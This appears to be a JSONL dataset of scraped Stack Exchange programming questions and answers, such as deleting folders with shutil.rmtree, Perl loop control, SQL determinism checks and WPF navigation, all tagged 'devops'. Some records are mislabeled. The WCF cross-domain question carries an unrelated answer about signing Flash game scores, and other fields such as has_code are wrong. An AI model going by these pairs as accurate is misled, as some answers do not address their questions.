{"id": "hf_eb3e8559ac04", "question": "<p>I am getting an 'access is denied' error when I attempt to delete a folder that is not empty. I used the following command in my attempt: <code>os.remove(\"/folder_name\")</code>. </p>\n\n<p>What is the most effective way of removing/deleting a folder/directory that is not empty?</p>\n", "question_body": "", "answer": "```\n```\nimport shutil\n\nshutil.rmtree('/folder_name')\n```\n```\nStandard Library Reference: shutil.rmtree\n.\nBy design,\n```\nrmtree\n```\nfails on folder trees containing read-only files. If you want the folder to be deleted regardless of whether it contains read-only files, then use\n```\n```\nshutil.rmtree('/folder_name', ignore_errors=True)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.171891"}
{"id": "hf_c8bc306957a8", "question": "<p>How can I create a method that has optional parameters in it in Visual Basic?</p>\n", "question_body": "", "answer": "Use the\n```\nOptional\n```\nkeyword and supply a default value. Optional parameters must be the last parameters defined, to avoid creating ambiguous functions.\n```\n```\nSub MyMethod(ByVal Param1 As String, Optional ByVal FlagArgument As Boolean = True)\n    If FlagArgument Then\n        'Do something special\n        Console.WriteLine(Param1)\n    End If\n\nEnd Sub\n```\n```\nCall it like this:\n```\n```\nMyMethod(\"test1\")\n```\n```\nOr like this:\n```\n```\nMyMethod(\"test2\", False)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.195469"}
{"id": "hf_84358fecd759", "question": "<p>I'm trying to use a <code>break</code> statement in a <code>for</code> loop, but since I'm also using strict subs in my Perl code, I'm getting an error saying:</p>\n\n<blockquote>\n  <p>Bareword \"break\" not allowed while\n  \"strict subs\" in use at ./final.pl\n  line 154.</p>\n</blockquote>\n\n<p>Is there a workaround for this (besides disabling strict subs)?</p>\n\n<p>My code is formatted as follows:</p>\n\n<pre><code>for my $entry (@array){\n    if ($string eq \"text\"){\n         break;\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "Oh, I found it.  You use\nlast\ninstead of\nbreak\n```\n```\nfor my $entry (@array){\n    if ($string eq \"text\"){\n         last;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.219902"}
{"id": "hf_86e0392a1761", "question": "<p>I was wondering if there was a way to bind an ArrayList (or any kind of List, for that matter) to a PreparedStatement which will eventually be used to access an Oracle database.  I found:</p>\n\n<p><a href=\"https://stackoverflow.com/questions/178479/alternatives-for-java-sql-preparedstatement-in-clause-issue\">PreparedStatement IN clause alternatives?</a></p>\n\n<p>And that seems similar to my issue, but this question is more specific: I'd like to bind an ArrayList to a PreparedStatement to be used in Oracle, if it is possible, how is this accomplished?</p>\n", "question_body": "", "answer": "Well, judging by the answer to that one, especially the comments to my wrong answer in that question, you can't.\nSee\nhttps://docs.oracle.com/javase/1.5.0/docs/guide/jdbc/getstart/mapping.html#996857\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.244199"}
{"id": "hf_bd3d219f3b82", "question": "<p>How can I prune old revisions from my development subversion repository?  I keep a subversion sandbox in which I have lots of test projects, binaries, etc.  I'd like to prune the history occasionally.</p>\n", "question_body": "", "answer": "Here's the official answer:\nThere are special cases where you might want to destroy all evidence of a file or commit. (Perhaps somebody accidentally committed a confidential document.) This isn't so easy, because Subversion is deliberately designed to never lose information. Revisions are immutable trees which build upon one another. Removing a revision from history would cause a domino effect, creating chaos in all subsequent revisions and possibly invalidating all working copies.\nThe project has plans, however, to someday implement an svnadmin obliterate command which would accomplish the task of permanently deleting information. (See issue 516.)\nIn the meantime, your only recourse is to svnadmin dump your repository, then pipe the dumpfile through svndumpfilter (excluding the bad path) into an svnadmin load command. See chapter 5 of the Subversion book for details about this.\nFound here:\nhttp://subversion.tigris.org/faq.html#removal", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.292866"}
{"id": "hf_2351ccc7c8c5", "question": "<p>What is the proper way to load a <code>ListBox</code> in C# .NET 2.0 Winforms?</p>\n\n<p>I thought I could just bind it to a <code>DataTable</code>. No such luck.<br>\nI thought I could bind it with a <code>Dictionary</code>. No luck.  </p>\n\n<p>Do I have to write an class called <code>KeyValuePair</code>, and then use <code>List&lt;KeyValuePair&gt;</code> just to be able to load this thing with objects? Maybe I am missing something obvious. I want my display text and values to be different values.</p>\n", "question_body": "", "answer": "Lets assume your data type is called MyDataType. Implement ToString() on that datatype to determine the display text. e.g.:\n```\n```\nclass MyDataType\n{\n  public string ToString()\n  {\n    //return the text you want to display\n  }\n}\n```\n```\nThen you can take a list consisting of your datatype and cram it into the ListBox via AddRange() as follows:\n```\n```\nListBox l;\nList<MyDataType> myItems = new List<MyDataType>(); // populate this however you like\nl.AddRange(myItems.ToArray());\n```\n```\nLet me know if you need more help - it would help to know what datatype you are trying to display in the listbox.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.317182"}
{"id": "hf_f743675b22ba", "question": "<p>I have a WCF Service decorated with WebInvoke attributes and WebHttp binding for JSON enabling. The service can be accessed from JavaScript until we try to make it working cross domain. Can you please recommend how to get this to work cross domain?</p>\n\n<p>We've tried to create proxy web handler but it gives \"Bad Request\" everytime WebHttpRequest try to access it.</p>\n", "question_body": "", "answer": "For a ridiculously short value  ( Ie: values < 64 characters ), MD5 as a hash becomes ineffective due to rainbow table attacks, and as the value you're sending will be shared over the wire, all they have to do is brute force the shared secret ( and they have a known product to work with )\nAs such, thats not public key private key. its mererly shared secret.\nAlso, keep in mind this shared secret will be in your flash file you send to the user, which these days and be trivially disassembled and then your \"secret\" is not a secret any more.\nYou want a more challenge-response mechanism with proper crypto signing, where a new sign key is assigned for every game from the server, and multiple scores cannot be submitted with the same sign key. ( For extra protection ;) )\nUser starts game. Sign key is requested. ( the sign key is produced from another key which they cant access ).\nScore is signed with sign key, and then sent\nYou verify the value of the sign with the key you sent them.\nYou discard the sign key you sent them.\nHowever, you\nstill\nhave the problem where you have no way to prevent the actual scoring system being tampered with. Somebody smart enough could just reverse engineer your SWF object and inject new code that just sets the score to their chosen value.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.353794"}
{"id": "hf_6c6296c0a68e", "question": "<p>I want to index a computed column in my database table which uses a number of user defined functions. However I just learned that my column is non-deterministic.</p>\n\n<p>Without indexing its going to be way to slow to run queries that I need.</p>\n\n<p>What's the best way of tracing through user defined functions to determine whether they are deterministic?</p>\n\n<p>Is there any kind of tool in SQL Server Management Studio that will tell me whether a user defined function is deterministic or do I just need to trace through all the system-defined functions I'm using to find out which are non-deterministic and find other ways to write my code without them?</p>\n", "question_body": "", "answer": "Try:\n```\n```\nSELECT  *\nFROM    INFORMATION_SCHEMA.ROUTINES\nWHERE   IS_DETERMINISTIC = 'NO'\n        AND ROUTINE_TYPE = 'FUNCTION'\n```\n```\nor\n```\n```\nSELECT OBJECTPROPERTY(OBJECT_ID('schemaname.functionname'), 'IsDeterministic')\n```\n```\nSorry, IIRC, SQL Server 2000 did not allow non-deterministic UDFs.\nIndexing a column that is non-deterministic is pretty of silly - after all if its value is not strictly dependent on parameters, it's not going to be very useful if it changes on you all willy-nilly, especially if it's used in an index to find things!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.441653"}
{"id": "hf_c9b3c9ee9349", "question": "<p>I have made some changes to a site and need to re-host it as the current host is ceasing to exist.  My client has received the following from the current host:</p>\n\n<p>\"The best thing to tell them is that, due to the fact that we are withdrawing our service completely, we would look to fully transfer the web site address across to them rather than just \"point\" the web address at them. If you can forward this Email to them and ask them to \nconfirm their \"IPS tag\" (they'll know what that is), I can then arrange for it to be transferred as and when they confirm it's all ready to go.\"</p>\n\n<p>Can anyone help me out here as i'm not too sure what they mean, nor do I know what an IPS tag is? ?</p>\n", "question_body": "", "answer": "an IPSTAG is a .uk only designation of the domain's registrar. basically, the webhost is asking you to transfer the domain name registration away from them to a new provider.\ni would suggest you (or your client) find a new registrar, get their IPSTAG, and then send that to your old host, who will then be able to initiate the change.\nonce the IPSTAG has been updated (you can check WHOIS information for that), then your new registrar will be able to get the domain name (and thus the old host will have relinquished \"control\" of it)\nhere's an example from amazon.co.uk's WHOIS:\n```\n```\nDomain name:\n    amazon.co.uk\n\nRegistrant:\n    Amazon Europe Holding Technologies SCS\n\nRegistrant type:\n    Unknown\n\nRegistrant's address:\n    65 boulevard G-D. Charlotte\n    Luxembourg City\n    Luxembourg\n    LU-1311\n    LU\n\nRegistrar:\n    Amazon.com [Tag = AMAZON-COM]\n```\n```\nthe IPSTAG in this case is \"AMAZON-COM\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.481743"}
{"id": "hf_9395806687d3", "question": "<p>I'm making heavy use of PropertySheets in my application framework's configuration editor.  I like them a lot because it's pretty easy to work with them (once you learn how) and make the editing bulletproof.</p>\n\n<p>One of the things that I'm storing in my configuration are Python scripts.  It's possible to edit a Python script in a StringCollection editor, which is what I've been using, but there's a long distance between \"possible\" and \"useable.\"  I'd like to have an editor that actually supported resizeable and monospace fonts, preserved blank lines, and - hey, let's go crazy with the wishlist - did syntax coloring.</p>\n\n<p>I can certainly write this if I really have to, but I'd prefer not to.</p>\n\n<p>I've poked around on the Google and can't find anything like what I'm describing, so I thought I'd ask here.  Is this a solved problem?  Has anyone out there already taken a crack at building a better editor?</p>\n", "question_body": "", "answer": "You would need to write your own type editor. You can think of this as a user control, in that when you write your own type editor you are providing the UI controls that appear when the property grid edits the property. As such, you can create a type editor that does anything, which means if you have a third-party editor control you can include it as part of type editor.\nSome resources to get you started:\nUser Interface Type Editors Overview\nWalkthrough: Implementing a UI Type Editor\nUITypeEditor Class\nHow to: Implement a UI Type Editor\nRich Design Time Editing with UITypeEditors (VB.NET)\nCreating Property Editors in DesignTime for VS.Net Easily (UITypeEditor Helper)\nUsing PropertyGrid", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.556526"}
{"id": "hf_cf2a7e3e8b00", "question": "<p>I've used boost serialization but this doesn't appear to allow me to generate xml that conforms to a particular schema -- it seems it's purpose was to just to persist a class's state.</p>\n\n<p>Platform: linux</p>\n\n<p>What do you guys use to generate NOT parse xml?</p>\n\n<p>So far I'm going down Foredecker's route of just generating it myself -- it's not a large document but I really shouldn't be having this much trouble finding a decent library to generate it correctly.</p>\n\n<p>As for boost, the things that I would like to be able to do is set the node names, set attributes in my nodes, and get rid of all the extra crap that comes with it as I don't really care about having to put my document back into that class.</p>\n", "question_body": "", "answer": "Some may declare me an XML heretic - but one effective way is to just generate it with your favorite string output tools (print, output streams, etc) - this can go to a buffer or a file.\nOnce saved - you really should then validate with a schema before committing it our shipping it off.\nFor one of our projects we have a very simple set of templates for managing begin/end tags and attributes.   These each have a stream output operator.   This makes it very easy to generate the source XML and debug.  This makes the structure of the XML generation code look very much like the XML itself.\nOne advantage of this is that you can generate large amounts of XML efficiently if streaming to a file.  You will pay the validation costs later (presumably at a better time for an expensive operation).\nThe downside of this technique is that it is essentially output only.   It is not suitable for creating then consuming XML dynamically.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.582282"}
{"id": "hf_a07eaea1de3f", "question": "<p>If I have records:</p>\n\n<pre>\nRow  Date,        LocationID, Account\n1    Jan 1, 2008  1           1000\n2    Jan 2, 2008  1           1000\n3    Jan 3, 2008  2           1001\n4    Jan 3, 2008  1           1001\n5    Jan 3, 2008  3           1001\n6    Jan 4, 2008  3           1002\n</pre>\n\n<p>I need to get the row (<code>date</code>, <code>locatinid</code>, <code>account</code>) where the row has the most recent date for each distinct <code>locationid</code>:</p>\n\n<pre>\n4    Jan 3, 2008  1           1001\n3    Jan 3, 2008  2           1001\n6    Jan 4, 2008  3           1002\n</pre>\n", "question_body": "", "answer": "Try something like:\n```\n```\nselect *\nfrom mytable t1\nwhere date = (select max(date) from mytable t2\n              where t2.location = t1.location);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.632319"}
{"id": "hf_24e70eb5931d", "question": "<p>I found that SQL stored procedures are very interesting and useful. I have written stored procedures but i want to write well crafted, good performance tuned and concise SPs for any sort of requirement and also would love to learn about any tricks or good practices for stored procedures. How do i move from the beginner to the advanced stage in writing stored procedures?</p>\n\n<p><em>Update: Found from comments that my question should be more specific.\nEveryone has some tricks upon their sleeves and I was expecting such tricks and practices for SPs which they use in their code which differentiates them from others and more importantly spruce up the productivity in writing and working with stored procedures.</em></p>\n", "question_body": "", "answer": "The only trick I always try to use is: Always include an example usage in a comment near the top.  This is also useful for testing your SP.  I like to include the most common examples - then you don't even need SQL Prompt or a separate .sql file with your favorite invocation, since it's stored right there in the server (this is expecially useful if you have stored procs that look at sp_who output for blocks or whatever and take a bunch of parameters).\nSomething like:\n```\n```\n/*\n    Usage:\n    EXEC usp_ThisProc @Param1 = 1, @Param2 = 2\n*/\n```\n```\nThen to test or run the SP, you simply highlight that section in your script and execute.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.681705"}
{"id": "hf_ff9b6e80f7af", "question": "<p>How would you ensure that only one user is logged in per account at a time?</p>\n\n<p>Assuming cookies are persistent.</p>\n", "question_body": "", "answer": "Typically the best way is to implement a customization on the provider that checks for last login, as well as adding methods to your code to keep track of user action.\nThe key is that you must know at what point did the user last do something OR logout.  From there you can determine if the account is actually ready.  If you setup the tracking for these elements in code,  You can then modify the membership provider to check to ensure that the account can login.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.706554"}
{"id": "hf_7255f42056a2", "question": "<p>I'm looking for material on persistent data structures that can be used to implement a relational model.</p>\n\n<p>Persistence in the meaning of immutable data structures.</p>\n\n<p>Anyone know of some good resources, books, papers and such?</p>\n\n<p>(I already have the book <a href=\"http://www.cs.cmu.edu/~rwh/theses/okasaki.pdf\" rel=\"noreferrer\">Purely Functional Data Structures</a>, which is a good example of what I'm looking for.)</p>\n", "question_body": "", "answer": "It is straightforward to modify the ubiquitous\nB-tree\nto be persistent. Simply always alloctate a new node whenever a node is modified, and return the new node to the recursive caller, who will insert it at that level by allocating a new node, etc. Ultimate the new root node is returned. No more than O(log N) nodes are allocated per operation.\nThis is the technique used in functional languages to implement, e.g, 2-3 trees.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.730765"}
{"id": "hf_f25fccd416f8", "question": "<p>I'm working on a idea where my a:link have one state (blue, no underline etc) with a a:hover being white. I want my <strong>visited links to have the same state</strong> as <code>a:link</code> and <code>a:hover</code>. Is this possible? supported in most common browsers?</p>\n", "question_body": "", "answer": "Here's how you can style the a tags (normal and visited) and style the hover separately.\n```\n```\na\n{\n    color:#6c7492;\n    font-weight:bold;\n    text-decoration:none;\n}\na:hover\n{\n    border-bottom:1px solid #6c7492;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.754775"}
{"id": "hf_df44686da6c0", "question": "<p>When I do a cvs status, I see working revision and repository revision numbers.\nWhat is the difference between the two, or rather, what do they mean?</p>\n", "question_body": "", "answer": "the\nworking revision\nis just the revision you are currently using. the\nrepository revision\nis the revision currently in the repository.\nbasically, if the\nrepository revision\nis larger than your\nworking revision\n, someone has committed changes to that file, and perhaps you should update your version, or you may end up with a conflict if you try to commit your own changes at a later time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.815675"}
{"id": "hf_330c3fc6a08e", "question": "<p>In through <code>php_info()</code> where the WSDL cache is held (<code>/tmp</code>), but I don't necessarily know if it is safe to delete all files starting with WSDL. </p>\n\n<p>Yes, I <em>should</em> be able to just delete everything from <code>/tmp</code>, but I don't know what else this could effect if I delete any all WSDL files.</p>\n", "question_body": "", "answer": "You can safely delete the WSDL cache files. If you wish to prevent future caching, use:\n```\n```\nini_set(\"soap.wsdl_cache_enabled\", 0);\n```\n```\nor dynamically:\n```\n```\n$client = new SoapClient('http://somewhere.com/?wsdl', array('cache_wsdl' => WSDL_CACHE_NONE) );\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.840141"}
{"id": "hf_091370fd40f8", "question": "<p>I'm setting up CruiseControl.NET and during the build I want to modify my version.txt file and have it checked in.  When I do this, CruiseControl.NET doesn't know this checkin was done by the build and so the next time it checks sources, it sees there were modifications and rebuilds again (I have IfModificationExists set in the project build).  How do I tell CruiseControl.NET to check this file in or let it know that this one is OK so it doesn't keep re-triggering builds?</p>\n", "question_body": "", "answer": "I'm not using Subversion, i'm using TFS.\nVersion.txt contains \"1.0.5.3\" which is the current build number.  When someone checks out to build, they'll use 1.0.5.3 as their revision.  On the server, it will rev the build number, store it in version.txt and check it back in so that everyone's version is moved up to that level.  So it will be 1.0.5.4\" for example.\nI basicaly want a way to tell CCNet to checkin a file and ignore it when looking for future modifications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.901216"}
{"id": "hf_12b7cb70fa5f", "question": "<p>It seems like Groovy was forgotten in this thread so I'll just ask the same question for Groovy.</p>\n\n<ul>\n<li>Try to limit answers to Groovy core</li>\n<li>One feature per answer</li>\n<li>Give an example and short description of the feature, not just a link to documentation</li>\n<li>Label the feature using bold title as the first line</li>\n</ul>\n\n<p>See also:</p>\n\n<ol>\n<li><a href=\"https://stackoverflow.com/questions/101268/hidden-features-of-python\">Hidden features of Python</a></li>\n<li><a href=\"https://stackoverflow.com/questions/63998/hidden-features-of-ruby\">Hidden features of Ruby</a></li>\n<li><a href=\"https://stackoverflow.com/questions/161872/hidden-features-of-perl\">Hidden features of Perl</a></li>\n<li><a href=\"https://stackoverflow.com/questions/15496/hidden-features-of-java\">Hidden features of Java</a></li>\n</ol>\n", "question_body": "", "answer": "Using hashes as pseudo-objects.\n```\n```\ndef x = [foo:1, bar:{-> println \"Hello, world!\"}]\nx.foo\nx.bar()\n```\n```\nCombined with duck typing, you can go a long way with this approach.  Don't even need to whip out the \"as\" operator.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.926229"}
{"id": "hf_226a0955a8ce", "question": "<p>I recently upgraded to Delphi 2009 and was disappointed to find out that I couldn't easily replace one VCL component with another. The best answer back was that <a href=\"http://www.gexperts.org\" rel=\"nofollow noreferrer\">GExperts</a> could be used to do this. </p>\n\n<p>Is it worthwhile to petition Embarcadero to incorporate some or all of the capabilities of GExperts right into Delphi? Which of their \"Experts\" do you use most and would like to see in Delphi?</p>\n\n<p>Or is GExperts best left as a community Open Source addon?</p>\n", "question_body": "", "answer": "My number one GExpert is Grep Search.\nClose second is the Procedure List window.\nAlso very handy are the various keyboard shortcuts,\nand the toolbar embedded in the editor - I have a few\nbuttons on there; like CPU-view, Project Manager and\nthe selection-tools as a dropdown (like sort selection).\nSometimes I use the Clipboard History window.\nAnd even more rarely the ASCII windows.\nEverything else I don't touch really.\nI know the procedure-list could also be found in the structure-pane of Delphi 2009, but somehow the fact that I can press Ctrl+G to get a window with quick filtering and preview capabilities is more productive for me.\nSame thing for grep - the GExperts' version is way more powerfull than the standard Delphi search function.\nIf these two (and maybe the clipboard history) where embedded in standard Delphi, I probably wouldn't install GExperts anymore.\nBut on the other hand : I do like the fact that these solutions are available as open source - this allowed me for example to add section-filtering to the grep-search, which otherwise wouldn't have been possible for me...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.951179"}
{"id": "hf_222264c26b40", "question": "<p>someone has an idea how can I do that ?</p>\n\n<p>thanks</p>\n", "question_body": "", "answer": "If you mean \"initialize a dense array of N items in a time independent of N\", then it is physically impossible. A dense array has a storage space that grows linearly with the number of items, and it will take a linear amount of time to initialize this space.\nYou can have constant-time initialization using a sparse array. That is essentially an associative array (or hashmap, or dictionary, or table, depending on the language) which initializes items when they are first accessed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:58.975766"}
{"id": "hf_746fcbe4b305", "question": "<p>I noticed that doxygen uses the graphviz library for creating diagrams. Have you ever used graphviz for generating documentation? Is it worth learning the graphviz for documentation purposes outside the scope of doxygen? Or am I better off to sticking with a standard data modeling package like Visio?</p>\n\n<p>I understand the merits of it as a graphing library, but for trying to represent more complex UML (or similar) is it still worth looking into?</p>\n", "question_body": "", "answer": "The graphviz is very very simple language/format for creating graphs. If the capabilities are enough for you I would recommend it (Its so easy, that I would estimate the time to learn with at most 1 hour).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.073793"}
{"id": "hf_d2aca73715f5", "question": "<p>I'm terrible with regex, but I've had a try and a Google (and even looked in reddit's source) and I'm still stuck so here goes:</p>\n\n<p>My aim is to match the following 'codes' and replace them with the HTML tags. It's just the regex I'm stuck with.</p>\n\n<pre><code>**bold text**\n_italic text_\n~hyperlink~\n</code></pre>\n\n<p>Here's my attempts at the bold one:</p>\n\n<pre><code>^\\*\\*([.^\\*]+)\\*\\*$\n</code></pre>\n\n<p>Why this isn't working? I'm using the preg syntax.</p>\n", "question_body": "", "answer": "use:\n```\n```\n\\*\\*(.[^*]*)\\*\\*\n```\n```\nexplanation:\n```\n```\n\\*\\*      // match two *'s\n(.        // match any character\n[^*]      // that is not a *\n*)        // continuation of any character\n\\*\\*      // match two *'s\n```\n```\nin a character class \"[ ]\" \"^\" is only significant if it's the first character. so\n```\n(.*)\n```\nmatches anything,\n```\n(.[^*]*)\n```\nis match anything until literal *\nedit\n: in response to comments to match asterisk within (ie\n```\n**bold *text**\n```\n), you'd have to use a non greedy match:\n```\n```\n\\*\\*(.*?)\\*\\*\n```\n```\ncharacter classes are more efficient non greedy matches, but it's not possible to group within a character class (\nsee\n\"Parentheses and Backreferences...\")", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.160347"}
{"id": "hf_a2f0fc8bc523", "question": "<p>Our application is an Xbap running in full trust. I have a function similar to this:</p>\n\n<pre><code>private void ShowPage(Page page)\n{\n    NavigationWindow mainWindow = Application.Current.MainWindow as NavigationWindow;  \n    mainWindow.Navigate(page);\n}\n</code></pre>\n\n<p>This works great for browsing inside an existing window. I would like to open this new page in a separate window. Is there anyway to do this?</p>\n\n<p>There is an overload that takes 'extraData' but I haven't been able to determine what to pass to navigate to a new window.</p>\n", "question_body": "", "answer": "Apparently WPF is a little new for StackOverflow. Here is the function I came up with in case anyone else stumbles across this.\n```\n```\nprivate void ShowPage(Page page)\n{\n    NavigationWindow popup = new NavigationWindow();  \n    popup.Height = 400;\n    popup.Width = 600;\n    popup.Show();\n    popup.Navigate(page);\n}\n```\n```\nI have not tried this in partial trust, it is likely this only works in full trust.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.197411"}
{"id": "hf_6af10fd98097", "question": "<p>I have a text area and a function to do syntax highlighting on it. Right now it reads the entire RichTextBox. How would I get a string variable containing the current line? Below is the code i currently have.</p>\n\n<pre><code>Private Sub HighLight()\n    Dim rm As System.Text.RegularExpressions.MatchCollection\n    Dim m As System.Text.RegularExpressions.Match\n    Dim x As Integer ''lets remember where the text courser was before we mess with it\n\n    For Each pass In FrmColors.lb1.Items\n        x = rtbMain.SelectionStart\n        rm = System.Text.RegularExpressions.Regex.Matches(LCase(rtbMain.Text), LCase(pass))\n        For Each m In rm\n            rtbMain.Select(m.Index, m.Length)\n            rtbMain.SelectionColor = Color.Blue\n        Next\n        rtbMain.Select(x, 0)\n        rtbMain.SelectionColor = Color.Black\n    Next\nEnd Sub\n</code></pre>\n", "question_body": "", "answer": "Not tried it but:\n```\n```\nrtbMain.Lines(lineNumber)\n```\n```\nif not assign the Lines property to an array and access the array element.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.257079"}
{"id": "hf_d66acb9fbb02", "question": "<p>In a Java application (JRE 1.5.0_12) on Windows XP, I call a native method:</p>\n\n<pre><code>public native int attachImage( ... );\n</code></pre>\n\n<p>... which lives in a Visual C++ 6.0 .dll. It displays an application-modal window. Problem is, the application's tray icon doesn't respond to mouseclicks while this window has focus. This is an issue because when this window is displayed, users often switch to another application to select the image to attach, then want to restore this application.</p>\n", "question_body": "", "answer": "What GUI package are you using?\nYou should be able to implement this without resorting to JNI calls.\nFor instance, in SWT, you can open an application modal shell like this:\n```\n```\nShell shell = new Shell(display,SWT.APPLICATION_MODAL);\n```\n```\nFor swing, this would be:\n```\n```\ndialog.setModalityType(Dialog.ModalityType.APPLICATION_MODAL);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:59.293584"}
